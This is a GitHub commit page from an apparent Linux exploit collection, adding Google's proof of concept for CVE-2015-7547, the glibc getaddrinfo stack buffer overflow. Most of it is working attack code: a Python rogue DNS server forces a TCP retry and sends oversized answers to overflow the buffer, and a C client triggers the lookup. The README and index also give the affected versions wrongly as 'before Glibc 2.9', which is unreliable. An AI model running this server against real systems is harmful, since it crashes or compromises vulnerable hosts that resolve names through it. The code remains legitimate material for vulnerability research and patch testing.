Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 5489820

Browse files
GitmanincGitmaninc
committed
linux-exp
1 parent 85ede09 commit 5489820

File tree

5 files changed

+249
-0
lines changed

5 files changed

+249
-0
lines changed

‎2015/CVE-2015-7547/CVE-2015-7547-client.c‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
/* Copyright 2016 Google Inc
2+
*
3+
* Licensed under the Apache License, Version 2.0 (the "License");
4+
* you may not use this file except in compliance with the License.
5+
* You may obtain a copy of the License at
6+
*
7+
* http://www.apache.org/licenses/LICENSE-2.0
8+
*
9+
* Unless required by applicable law or agreed to in writing, software
10+
* distributed under the License is distributed on an "AS IS" BASIS,
11+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12+
* See the License for the specific language governing permissions and
13+
* limitations under the License.
14+
*
15+
*/
16+
17+
#include <sys/types.h>
18+
#include <sys/socket.h>
19+
#include <netdb.h>
20+
#include <err.h>
21+
#include <stdio.h>
22+
#include <string.h>
23+
24+
int
25+
main(void)
26+
{
27+
struct addrinfo hints, *res;
28+
int r;
29+
30+
memset(&hints, 0, sizeof(hints));
31+
hints.ai_socktype = SOCK_STREAM;
32+
33+
if ((r = getaddrinfo("foo.bar.google.com", "22",
34+
&hints, &res)) != 0)
35+
errx(1, "getaddrinfo: %s", gai_strerror(r));
36+
37+
return 0;
38+
}

‎2015/CVE-2015-7547/CVE-2015-7547-poc.py‎

Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
#!/usr/bin/python
2+
#
3+
# Copyright 2016 Google Inc
4+
#
5+
# Licensed under the Apache License, Version 2.0 (the "License");
6+
# you may not use this file except in compliance with the License.
7+
# You may obtain a copy of the License at
8+
#
9+
# http://www.apache.org/licenses/LICENSE-2.0
10+
#
11+
# Unless required by applicable law or agreed to in writing, software
12+
# distributed under the License is distributed on an "AS IS" BASIS,
13+
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14+
# See the License for the specific language governing permissions and
15+
# limitations under the License.
16+
#
17+
# Authors:
18+
# Fermin J. Serna <[email protected]>
19+
# Gynvael Coldwind <[email protected]>
20+
# Thomas Garnier <[email protected]>
21+
22+
import socket
23+
import time
24+
import struct
25+
import threading
26+
27+
IP = '127.0.0.1' # Insert your ip for bind() here...
28+
ANSWERS1 = 184
29+
30+
terminate = False
31+
last_reply = None
32+
reply_now = threading.Event()
33+
34+
35+
def dw(x):
36+
return struct.pack('>H', x)
37+
38+
def dd(x):
39+
return struct.pack('>I', x)
40+
41+
def dl(x):
42+
return struct.pack('<Q', x)
43+
44+
def db(x):
45+
return chr(x)
46+
47+
def udp_thread():
48+
global terminate
49+
50+
# Handle UDP requests
51+
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
52+
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
53+
sock_udp.bind((IP, 53))
54+
55+
reply_counter = 0
56+
counter = -1
57+
58+
answers = []
59+
60+
while not terminate:
61+
data, addr = sock_udp.recvfrom(1024)
62+
print '[UDP] Total Data len recv ' + str(len(data))
63+
id_udp = struct.unpack('>H', data[0:2])[0]
64+
query_udp = data[12:]
65+
66+
# Send truncated flag... so it retries over TCP
67+
data = dw(id_udp) # id
68+
data += dw(0x8380) # flags with truncated set
69+
data += dw(1) # questions
70+
data += dw(0) # answers
71+
data += dw(0) # authoritative
72+
data += dw(0) # additional
73+
data += query_udp # question
74+
data += '\x00' * 2500 # Need a long DNS response to force malloc
75+
76+
answers.append((data, addr))
77+
78+
if len(answers) != 2:
79+
continue
80+
81+
counter += 1
82+
83+
if counter % 4 == 2:
84+
answers = answers[::-1]
85+
86+
time.sleep(0.01)
87+
sock_udp.sendto(*answers.pop(0))
88+
reply_now.wait()
89+
sock_udp.sendto(*answers.pop(0))
90+
91+
sock_udp.close()
92+
93+
94+
def tcp_thread():
95+
global terminate
96+
counter = -1
97+
98+
#Open TCP socket
99+
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
100+
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
101+
sock_tcp.bind((IP, 53))
102+
sock_tcp.listen(10)
103+
104+
while not terminate:
105+
conn, addr = sock_tcp.accept()
106+
counter += 1
107+
print 'Connected with ' + addr[0] + ':' + str(addr[1])
108+
109+
# Read entire packet
110+
data = conn.recv(1024)
111+
print '[TCP] Total Data len recv ' + str(len(data))
112+
113+
reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0])
114+
print '[TCP] Request1 len recv ' + str(reqlen1)
115+
data1 = data[2:2+reqlen1]
116+
id1 = struct.unpack('>H', data1[0:2])[0]
117+
query1 = data[12:]
118+
119+
# Do we have an extra request?
120+
data2 = None
121+
if len(data) > 2+reqlen1:
122+
reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0])
123+
print '[TCP] Request2 len recv ' + str(reqlen2)
124+
data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]
125+
id2 = struct.unpack('>H', data2[0:2])[0]
126+
query2 = data2[12:]
127+
128+
# Reply them on different packets
129+
data = ''
130+
data += dw(id1) # id
131+
data += dw(0x8180) # flags
132+
data += dw(1) # questions
133+
data += dw(ANSWERS1) # answers
134+
data += dw(0) # authoritative
135+
data += dw(0) # additional
136+
data += query1 # question
137+
138+
for i in range(ANSWERS1):
139+
answer = dw(0xc00c) # name compressed
140+
answer += dw(1) # type A
141+
answer += dw(1) # class
142+
answer += dd(13) # ttl
143+
answer += dw(4) # data length
144+
answer += 'D' * 4 # data
145+
146+
data += answer
147+
148+
data1_reply = dw(len(data)) + data
149+
150+
if data2:
151+
data = ''
152+
data += dw(id2)
153+
data += 'B' * (2300)
154+
data2_reply = dw(len(data)) + data
155+
else:
156+
data2_reply = None
157+
158+
reply_now.set()
159+
time.sleep(0.01)
160+
conn.sendall(data1_reply)
161+
time.sleep(0.01)
162+
if data2:
163+
conn.sendall(data2_reply)
164+
165+
reply_now.clear()
166+
167+
sock_tcp.shutdown(socket.SHUT_RDWR)
168+
sock_tcp.close()
169+
170+
171+
if __name__ == "__main__":
172+
173+
t = threading.Thread(target=udp_thread)
174+
t.daemon = True
175+
t.start()
176+
tcp_thread()
177+
terminate = True
178+

‎2015/CVE-2015-7547/Makefile‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
all: client
2+
3+
client:
4+
gcc -o CVE-2015-7547-client CVE-2015-7547-client.c
5+
6+
clean:
7+
rm -f CVE-2015-7547-client

‎2015/CVE-2015-7547/README.md‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# CVE-2015-7547
2+
3+
CVE-2015-7547
4+
5+
Vulnerability reference:
6+
* [CVE-2015-7547](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7547)
7+
* [exp-db](https://www.exploit-db.com/exploits/39454/)
8+
9+
## Glibc
10+
```
11+
before Glibc 2.9
12+
```
13+
14+
15+
## References
16+
* [glibc getaddrinfo 栈缓冲区溢出漏洞(CVE-2015-7547)](https://www.seebug.org/vuldb/ssvid-90749)
17+
* [fjserna/CVE-2015-7547](https://github.com/fjserna/CVE-2015-7547)
18+
* [CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow](https://googleonlinesecurity.blogspot.sg/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html)
19+
20+
21+
22+
23+

‎README.md‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,9 @@ linux-kernel-exploits
2121
- [CVE-2016-0728](./2016/CVE-2016-0728)　　[pp_key]
2222
(3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
2323

24+
- [CVE-2015-7547](./2015/CVE-2015-7547)　　[glibc getaddrinfo]
25+
(before Glibc 2.9)
26+
2427
- [CVE-2015-1328](./2015/CVE-2015-1328)　　[overlayfs]
2528
(3.13, 3.16.0, 3.19.0)
2629

0 commit comments

Comments
 (0)